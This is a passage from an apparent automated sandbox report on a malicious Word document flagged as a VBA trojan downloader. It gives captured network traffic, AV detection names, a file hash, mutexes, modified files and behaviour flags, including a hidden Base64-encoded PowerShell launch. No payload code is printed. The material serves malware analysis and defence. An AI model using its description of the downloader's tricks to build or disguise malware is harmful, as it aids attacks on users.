\xbd\\x97\\x0f\\xb3"
  805.  
  806.  
  807. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010iz\\xd2\\xees\\x114z\\x1d\\x85j\\xcc\\x8e\\xf0i\\xffd`\\xd9\\xb2c_\\x9e\\xf5av\\x11#z\\x04\\xb38\\xd7d~\\xd9i\\x94\\xf65\\xc2\\xed;@\\xa1\\xfd\\xa1(9\\xe84\\xcba\\xb9\\xb1\\xed\\xa9\\xf2\\x93h\\xb0v\\x99\\x85\\xa3\\x04i\\xf6\\x92\\x898\\xd1\\x9f\\xc6$\\xc40l\\x95\\xf0\\x0b\\xdemn*p\\xb0/\\xce\"\"\\x8b\\x08\\x95\\x1edl\\x08s\\xb2`\\xe8\\xfc\\xb5i\\xd3\\xb4v&\\xe54\\xaai\\xec&\\xb7\\x1f\\xdc\\xcfa\\x97\\xe4\\xc1\\x9ce\\xebyr\\xf0o\\xac\\x960\\xef$(\\x88\\x83\\xb8|8\\xc2\\xca\\x8c\\xc8\\xaen\\xc6\\xd3\\xcb@\\xd3\\xe3\\x13'b\\xf2\\xac/,\\xbdv\\xb8s\\xb4:q\\x0b\\xff\\xc9c\\xf4\\xd5\\xa8qa\\xa1?\\xb4\\x186v\\xfe@\\xa8\\xcb\\xd9\\x02\\x93\\x15\\xa7\\x99\\x89\\x85.\\xab-\\x8c\\xcb\\x08,oj\\xb7\\x80\\xcbo\\x11_\\xc8\\xe9\\xb3m\\x9e\\xe4\\xb6#\\x00\\x8c\\x8f\\x91&\\x00\\xbe\\x8f\\xadm\\xbc\\xd9w\\x1dl\\xa3\\x08:\\xa8\\xef\\xfbjs\\x1c^\\xbb\\xedf"
  808.  
  809.  
  810. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  811.  
  812.  
  813. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x12\\x86\\x85\\xd1\\xb4\\xe6\\xf5\\xe8\\xdce.9-\\x02\\xd7!x\\xb3^h\\xc3\\xb2\\xbb\\xc2w\\x05\\x05v\\x83s\\xa8\\xba\\x17\\xf1\\x91\\xdf\\xdf\t\\xb9\\x05\\xc4mz&\\xce.c\\xc1\\xe8\\x0b\\xacn;\\xd3p\\xeay\\x7f\\xaf%\\x90ssw\\x97\\x03\\x059\\xaf\\xeb\\xda\\xecb\\xaf\\xf2\\xe9\\xe1k\\xff\\x0c\\x857\\x08\\xcfy:\\xc5\\x13\\x9e\\xf10\\xc9\\x8b\\x83\\xdd>\\xfd\\xce\\xdbm\\x84\\xc8\\x1d\\x1d%\\xf3\t#\\xb9sw e(\\xbc\\xda\\x02$q\\xc1g\\xabz\\xcc7j\\x85\\xa9\\x97\\xbb5\\xf2\\xff\\xf0\\x070&\\xf0e\\xf6\\xe3\\xa1.g2u\\xd4\\x86\t&2\\xac|\\x08t\\xefc\\xd9\\xbb\\x93v>\\xda\\xd2\\x1fk\r`st\\xd2\\xa2\\x16\\xc0\\x05z\\xcf7\\xb5\\xdb\\xd7\\x92\\xa2\\xbe\\x98\\xbb'\\xa4\\xdeb\\x11q&\\x16\\xee\\xb4vtlfl\\xbayz\\x84\\x97vb@\\xf57\\xd9r\\x8a\\xd0\\x8e\\x14%\\xe1/\\x86qr\\x1b\\xb1at\\x15\\x92\\xbb\\xeek\\xf5\\x86\\xdd\\xcds\\xa9\\xc9\\xedn\\xb3\\xb7\\x86\\xd9\\xb1\\x15\\x10"
  814.  
  815.  
  816. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00\\x03\\x01)c\\xce\\xbb\\x06\\x9c\\xb6u\\xa6z\\x88\\x8au\\x1azp\\x1c\\x16\\xb7\\x17\\x05?\\xeb\\xcd\\x98\\xb5%\\x19\\x0e\\xfe\\xa0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  817.  
  818.  
  819. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00\\x84\\xbe#qe\\x86~\\x82\\xc6\\xdd\\x8b\\xc5\\x9aj\\xc8\\x98\\x1bl\\x02\\x9f\\x88\\x9e\\xda\\xa0n\\xa2\\xed\\xf1s\\x85\\xc3\\x82\\x18k\\xebx/z\\xd4\\xb8\\x838\\xfb\\xda\\xf5p\\x15\\x13\\x89\\xd1=\\xaerz!\\x01\\x15\\x9d\\xfc\\xb4\\x9f\\xd3\\x02\\xed\\x92\\x0f\\x08u'\\xaf)^\\xd5\\x15\\xd2\\x0e\\x05r\\xd9\\x89#h?\\xf2\\xdfb\\xf8%\\x93%\\x8b\\xaf\\x96q\\xa7\\xdbsw\\xd0x\\xa0\\xf6q\\x1c\\xe2\\xe4\\x85f\\xcby\\xeb4\\x81_\\xb2\\x81#\\xbb\\xc9 \\xb6-\\x15\\x8c\\xd1g\\x0baf\\xb6\\xa9\\xa5\\x85u\nt \\xacnw\\xee\\xdd\\xcf\\x08v6g\\x98\\xbb\\xf4ow\\x96\\xb2\\xe1,\\x90\\xaa\\xcf\\xbfhw\\xa49\\xbf\\xe5\\x1a^ev\\x81\\xaa\\x02\\xb2\\x92\\x91\\xf4|\\xdc<q\\xeaf\\xad\\xff\\xd9k\\xdb\\xc592q\\xf8\\xebo.w\\xdaj\\xe5\\xd2\\xe5t\\x01\\xa5<\\x873\\x9eon\\xaf-\\xe3#c^\\xa6\\xd0\\x96\\xdb\\xfe\\xb0)\\x86\\x0b\\\\xc4mw\\xb1\\:\\xa1\\xa1\\xea\\xde\\xd5\\xc0\\xff\\xf6\\xc4\\xb2\\xef"
  820.  
  821.  
  822. "http_request": "winword.exe_WSASend_\\xb0q\\x93\n\\x80\\x1d\\x9b\\x11=\\xb8\\x02x\\x80\\xf5i\\x9d\\x92>\\xa4\\xeez\\xb3j9\\xfc\\xd9n\\xc1=v\\xc1\\x97g\\x94h\\xc8-kd\\x10\\x9e\\x84 \\x8b\\xa59\\xbcun \\x0c\\x03\\xf5\\x07\\xd6\\x01$hc \\x9e\\xfd\\xa4\\xbe7\\xf44\\xe6\\xf4\\x8f\\xde\\xe8v\\x11q\\xc3\\xb7`,uk\"b\\xc0\\xf5\\xaa\\x88\\x06\\x8a3\\x16\\xb2\\xc9\\x9b\\xd7\\xaec`\\xc0j\\x87'6\\x04\\xdd\\x87\\xd3to\\xb6\\xe5\\xfe\\xc0bhz\\x8b\\xe7\\x99\\x89\\xdc\\xf4s\\xa73\\xcf\\xccd\\xe4\\xd7hp\\xe6~\\x9b|\\xf0\\xef\\xed?\\xc4_\\x8d\\x1a\\xbd\\x08m\\x15s\\x91n\\\\xc3\\xfa\\x8b\\xe5\\x88%r/p\\xc9\\x83a\\x0e*lz\\x95\\x93\\xcb3\\xaf\\xd7\\x83s\\xc6o\\x1cq\\xfbb\\xbb\\xcfkg\\x9bggm\\x928\\xa7^\\xed\\xacn\\xc9\\x81\\x1d\\xd4\\xe7\\x96\\x89\\xadmbv\\x97\\xc5\\xdd$)jx\\x00\\xf0\\x15\\xba\\x19\\xf1;c\\xc7\\x9d\\xba<\\x91\\x052\\xc7\\xa7\\x1dt\\x90dw\\xbe\\xfd\\x03\\xa0&\\xb6\\x8b\\x99\\xd9c\\x08\\xeclt"
  823.  
  824.  
  825. "http_request": "winword.exe_WSASend_\\xb0q\\x93\n\\x80\\x1d\\x9b\\x11^\\xf2\\xc4ztsr=\\xae\t;!\\x1c\\xda\\xb8\\x10e\\xbb\\xa8%w\\x0e\\xaa\\x15\\x84\\x17\\xfb\\xdf\\xf9\\xcc\\xf2\\xff\\xb7\\x19m\\x01<s\nb\\x9f\\xea\\xec\\x9f^m\\x91\\x0f\\xa6,r\\xe9\"\\x89l\\xf4\\x7fe(\\xfc\\xec\\x95\\xbc\\xa40\\xf9\\xde\\x92\\xc6\\xf9q:\\x8e\\x14\\xf2\\x83\\xf9)\\x14\\xb1\\x93\\xf5\\x07\\x9a\\xd0\\x9e\\x87p/j\\xd9\"to\r7\\xc4od\\x1f/\\x0e%@\\xcc\n\\xed9\\x13\\xa0\\xecq\\xe3\\x9e\\xf8\\x80\\xde\\xac\\xea\\xf9h\\xe4/\\xd5\\x18\\x83\\x05\t\"\\xd8\\x90\\x95w\\xa9l\\xddw\\xb5\\x0e:c\\x8e\\xc9\\x12\\x1b\\xf3\\xbem$db\\xbb\\x1d\\x80\\xd0\\xaf\\xd7\\x97\\xd4\\xf7\\x94\\x15f\\xe8\\x80\\x92\\x9ck\\xe7\t\\x11\\xd4\\xd6\\xe7\\xb6\\xe7epf\\xe0u\\xb6j\\x99\\x93\\xbc\\xae\\xa0t\\xad\\xea\\xbf\\xf7x\\xca\\xf4\\xc3\\x974\\xc0fa\\x0ft\\xf8w-\\xbc\\xa2\\x83\\xc12:\\x12iqh\\xa89\\xe9\\xf1\\x86\\xb5\\xe7qqhl*?\\xc2\\x83\\xcd\\xfb\\xab\\xa8\\xa1\\xbd\\xc9\\xd4\\xbb\\xc9\\xcc"
  826.  
  827.  
  828.  
  829.  
  830. "Description": "Attempts to execute a powershell command with suspicious parameter/s",
  831. "Details":
  832.  
  833. "user_profile": "Does not load current user profile"
  834.  
  835.  
  836. "hidden_window": "Attempts to execute command with a hidden window"
  837.  
  838.  
  839. "b64_encoded": "Uses a Base64 encoded command value"
  840.  
  841.  
  842. "noninteractive": "Creates a non-interactive prompt"
  843.  
  844.  
  845.  
  846.  
  847. "Description": "Creates a hidden or system file",
  848. "Details":
  849.  
  850. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF235e63d.TMP"
  851.  
  852.  
  853.  
  854.  
  855. "Description": "File has been identified by 30 Antiviruses on VirusTotal as malicious",
  856. "Details":
  857.  
  858. "MicroWorld-eScan": "VB:Trojan.Valyria.2374"
  859.  
  860.  
  861. "McAfee": "W97M/Downloader.bqh"
  862.  
  863.  
  864. "Arcabit": "VB:Trojan.Valyria.D946"
  865.  
  866.  
  867. "Baidu": "VBA.Trojan-Downloader.Agent.dpc"
  868.  
  869.  
  870. "Symantec": "Trojan.Gen.MBT"
  871.  
  872.  
  873. "ESET-NOD32": "VBA/TrojanDownloader.Agent.KQC"
  874.  
  875.  
  876. "Avast": "VBA:Downloader-GDW Trj"
  877.  
  878.  
  879. "ClamAV": "Doc.Downloader.Valyria-6668042-0"
  880.  
  881.  
  882. "Kaspersky": "Trojan-Downloader.VBS.Agent.ctq"
  883.  
  884.  
  885. "BitDefender": "VB:Trojan.Valyria.2374"
  886.  
  887.  
  888. "Tencent": "Heur:Trojan.Script.LS_Gencirc.7108903.0"
  889.  
  890.  
  891. "Endgame": "malicious (high confidence)"
  892.  
  893.  
  894. "Comodo": "Malware@#1fwsnter4cvbk"
  895.  
  896.  
  897. "McAfee-GW-Edition": "BehavesLike.Downloader.fb"
  898.  
  899.  
  900. "FireEye": "VB:Trojan.Valyria.2374"
  901.  
  902.  
  903. "Emsisoft": "VB:Trojan.Valyria.2374 (B)"
  904.  
  905.  
  906. "SentinelOne": "DFI - Suspicious OLE"
  907.  
  908.  
  909. "Cyren": "Trojan.LNXW-4"
  910.  
  911.  
  912. "Antiy-AVL": "TrojanDownloader/MSOffice.Agent.kqc"
  913.  
  914.  
  915. "Microsoft": "Trojan:Win32/Occamy.A"
  916.  
  917.  
  918. "AegisLab": "Trojan.VBS.Agent.4!c"
  919.  
  920.  
  921. "ZoneAlarm": "Trojan-Downloader.VBS.Agent.ctq"
  922.  
  923.  
  924. "GData": "VB:Trojan.Valyria.2374"
  925.  
  926.  
  927. "TACHYON": "Suspicious/W97M.Obfus.Gen.5"
  928.  
  929.  
  930. "ALYac": "VB:Trojan.Valyria.2374"
  931.  
  932.  
  933. "Ad-Aware": "VB:Trojan.Valyria.2374"
  934.  
  935.  
  936. "Rising": "Downloader.Agent!8.B23 (TOPIS:E0:EMsaDZijhTQ)"
  937.  
  938.  
  939. "Fortinet": "VBA/Agent.NTDKYWA!tr"
  940.  
  941.  
  942. "AVG": "VBA:Downloader-GDW Trj"
  943.  
  944.  
  945. "Qihoo-360": "Win32/Trojan.6b2"
  946.  
  947.  
  948.  
  949.  
  950. "Description": "Clamav Hits in Target/Dropped/SuriExtracted",
  951. "Details":
  952.  
  953. "target": "clamav:Doc.Macro.Obfuscation-6663668-0, sha256:8078ed991cbc81e43fb82acad2b6c417e8a9a40f22f5e320f6d4c38abb5b48f4, type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal.dotm, Last Saved By: usrr, Revision Number: 4, Name of Creating Application: Microsoft Office Word, Total Editing Time: 05:00, Create Time/Date: Sat Jul 21 05:29:00 2018, Last Saved Time/Date: Fri Sep 21 15:08:00 2018, Number of Pages: 1, Number of Words: 4, Number of Characters: 29, Security: 0"
  954.  
  955.  
  956. "dropped": "clamav:Doc.Macro.Obfuscation-6663668-0, sha256:8078ed991cbc81e43fb82acad2b6c417e8a9a40f22f5e320f6d4c38abb5b48f4 , guest_paths:C:\\Users\\user\\AppData\\Local\\Temp\\Docs_ed2b0aa602da76e3fd727bc39ea98990.doc, type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal.dotm, Last Saved By: usrr, Revision Number: 4, Name of Creating Application: Microsoft Office Word, Total Editing Time: 05:00, Create Time/Date: Sat Jul 21 05:29:00 2018, Last Saved Time/Date: Fri Sep 21 15:08:00 2018, Number of Pages: 1, Number of Words: 4, Number of Characters: 29, Security: 0"
  957.  
  958.  
  959.  
  960.  
  961. "Description": "The office file created a suspicious child process.",
  962. "Details":
  963.  
  964. "Processes": "WINWORD.EXE -> splwow64.exe"
  965.  
  966.  
  967.  
  968.  
  969.  
  970. * Started Service:
  971. "osppsvc",
  972. "RasMan"
  973.  
  974.  
  975. * Mutexes:
  976. "Local\\2BF388D5-6F8C-40A0-A7EE-996D005C4E14_Office15",
  977. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  978. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  979. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  980. "Local\\WinSpl64To32Mutex_1a6d6_0_3000",
  981. "CicLoadWinStaWinSta0",
  982. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  983. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  984. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  985. "Local\\F99C425F-9135-43ed-BD7D-396DE488DC53",
  986. "Connection Manager Profile Installer Mutex",
  987. "Local\\!IETld!Mutex",
  988. "Local\\_!MSFTHISTORY!_",
  989. "Local\\c:!users!user!appdata!local!microsoft!windows!temporary internet files!content.ie5!",
  990. "Local\\c:!users!user!appdata!roaming!microsoft!windows!cookies!",
  991. "Local\\c:!users!user!appdata!local!microsoft!windows!history!history.ie5!",
  992. "Local\\c:!users!user!appdata!roaming!microsoft!windows!ietldcache!",
  993. "Local\\ZonesCounterMutex",
  994. "Local\\ZoneAttributeCacheCounterMutex",
  995. "Local\\ZonesCacheCounterMutex",
  996. "Local\\ZonesLockedCacheCounterMutex",
  997. "Global\\CLR_CASOFF_MUTEX",
  998. "Global\\.net clr networking",
  999. "Global\\ADAP_WMI_ENTRY",
  1000. "Global\\RefreshRA_Mutex",
  1001. "Global\\RefreshRA_Mutex_Lib",
  1002. "Global\\RefreshRA_Mutex_Flag"
  1003.  
  1004.  
  1005. * Modified Files:
  1006. "C:\\Users\\user\\AppData\\Local\\Temp\\Docs_ed2b0aa602da76e3fd727bc39ea98990.doc",
  1007. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF087C345EB1A2B516.TMP",
  1008. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\15.0\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=10",
  1009. "C:\\Users\\user\\AppData\\Local\\Temp\\~$cs_ed2b0aa602da76e3fd727bc39ea98990.doc",
  1010. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS5663DB00-A4A2-4642-A30A-4A145A0C399F.tmp",
  1011. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF771430AF-BFEC-4E73-B9AE-5EFEA3E37698.tmp",
  1012. "C:\\Users\\user\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd",
  1013. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  1014. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  1015. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  1016. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  1017. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab3106.tmp",
  1018. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar3107.tmp",
  1019. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\661725AA.wmf",
  1020. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\15C8A5A3.wmf",
  1021. "C:\\Users\\user\\AppData\\Local\\GDIPFONTCACHEV1.DAT",
  1022. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  1023. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5549.tmp",
  1024. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5579.tmp",
  1025. "C:\\Users\\user\\AppData\\Local\\Temp\\cab55D7.tmp",
  1026. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5617.tmp",
  1027. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5618.tmp",
  1028. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5619.tmp",
  1029. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5678.tmp",
  1030. "C:\\Users\\user\\AppData\\Local\\Temp\\cab56E6.tmp",
  1031. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5735.tmp",
  1032. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5784.tmp",
  1033. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5795.tmp",
  1034. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5796.tmp",
  1035. "C:\\Users\\user\\AppData\\Local\\Temp\\cab57A7.tmp",
  1036. "C:\\Users\\user\\AppData\\Local\\Temp\\cab57F6.tmp",
  1037. "C:\\Users\\user\\AppData\\Local\\Temp\\cab58A3.tmp",
  1038. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5901.tmp",
  1039. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5912.tmp",
  1040. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  1041. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  1042. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5990.tmp",
  1043. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5991.tmp",
  1044. "C:\\Users\\user\\AppData\\Local\\Temp\\cab59B1.tmp",
  1045. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab5A2F.tmp",
  1046. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
  1047. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar5A4F.tmp",
  1048. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5ACD.tmp\\TabbedArc.glox",
  1049. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5ACE.tmp\\ThemePictureGrid.glox",
  1050. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5ACE.tmp\\Content.inf",
  1051. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5ACD.tmp\\Content.inf",
  1052. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5AE0.tmp\\rings.glox",
  1053. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  1054. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  1055. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5ADF.tmp\\chicago.xsl",
  1056. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5AE0.tmp\\Content.inf",
  1057. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5B5F.tmp",
  1058. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5B10.tmp\\ThemePictureAccent.glox",
  1059. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5B10.tmp\\Content.inf",
  1060. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5BA0.tmp",
  1061. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5B70.tmp\\VaryingWidthList.glox",
  1062. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5BEF.tmp",
  1063. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5B70.tmp\\Content.inf",
  1064. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5ADF.tmp\\Content.inf",
  1065. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5C6E.tmp",
  1066. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C6D.tmp\\pictureorgchart.glox",
  1067. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328986fn=Theme Picture Grid.glox",
  1068. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C6D.tmp\\Content.inf",
  1069. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328951fn=Tabbed Arc.glox",
  1070. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5D1B.tmp\\sist02.xsl",
  1071. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5D2B.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1072. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5D2C.tmp\\iso690nmerical.xsl",
  1073. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328998fn=Rings.glox",
  1074. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5DEA.tmp",
  1075. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328990fn=Varying Width List.glox",
  1076. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5D1B.tmp\\Content.inf",
  1077. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5DC9.tmp\\TabList.glox",
  1078. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5DC9.tmp\\Content.inf",
  1079. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5D2B.tmp\\Content.inf",
  1080. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5DFA.tmp\\content.inf",
  1081. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5E6A.tmp",
  1082. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5E1B.tmp\\RadialPictureList.glox",
  1083. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5D2C.tmp\\Content.inf",
  1084. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5E1B.tmp\\Content.inf",
  1085. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5DFA.tmp\\Metropolitan.thmx",
  1086. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5E7A.tmp\\iso690.xsl",
  1087. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5E7A.tmp\\Content.inf",
  1088. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328935fn=Picture Organization Chart.glox",
  1089. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328975fn=Theme Picture Accent.glox",
  1090. "C:\\Users\\user\\AppData\\Local\\Temp\\cab6013.tmp",
  1091. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328940fn=Radial Picture List.glox",
  1092. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6002.tmp\\Equations.dotx",
  1093. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851217fn=chicago.xsl",
  1094. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6002.tmp\\Content.inf",
  1095. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328972fn=Tab List.glox",
  1096. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD60BF.tmp\\content.inf",
  1097. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD60BF.tmp\\Frame.thmx",
  1098. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD60FF.tmp\\CircleProcess.glox",
  1099. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD612F.tmp\\architecture.glox",
  1100. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD60FF.tmp\\Content.inf",
  1101. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD612F.tmp\\Content.inf",
  1102. "C:\\Users\\user\\AppData\\Local\\Temp\\cab617E.tmp",
  1103. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851223fn=iso690.xsl",
  1104. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM02835233fn=Text Sidebar (Annual Report Red and Black design).docx",
  1105. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD617F.tmp\\PictureFrame.glox",
  1106. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD617F.tmp\\Content.inf",
  1107. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851224fn=iso690nmerical.xsl",
  1108. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851227fn=sist02.xsl",
  1109. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD626B.tmp\\HexagonRadial.glox",
  1110. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328908fn=Circle Process.glox",
  1111. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD626A.tmp\\APASixthEditionOfficeOnline.xsl",
  1112. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD626B.tmp\\Content.inf",
  1113. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD62AB.tmp\\InterconnectedBlockProcess.glox",
  1114. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328884fn=architecture.glox",
  1115. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD62AB.tmp\\Content.inf",
  1116. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD626A.tmp\\Content.inf",
  1117. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457491fn=Metropolitan.thmx",
  1118. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328932fn=Picture Frame.glox",
  1119. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM01840907fn=Equations.dotx",
  1120. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457475fn=Frame.thmx",
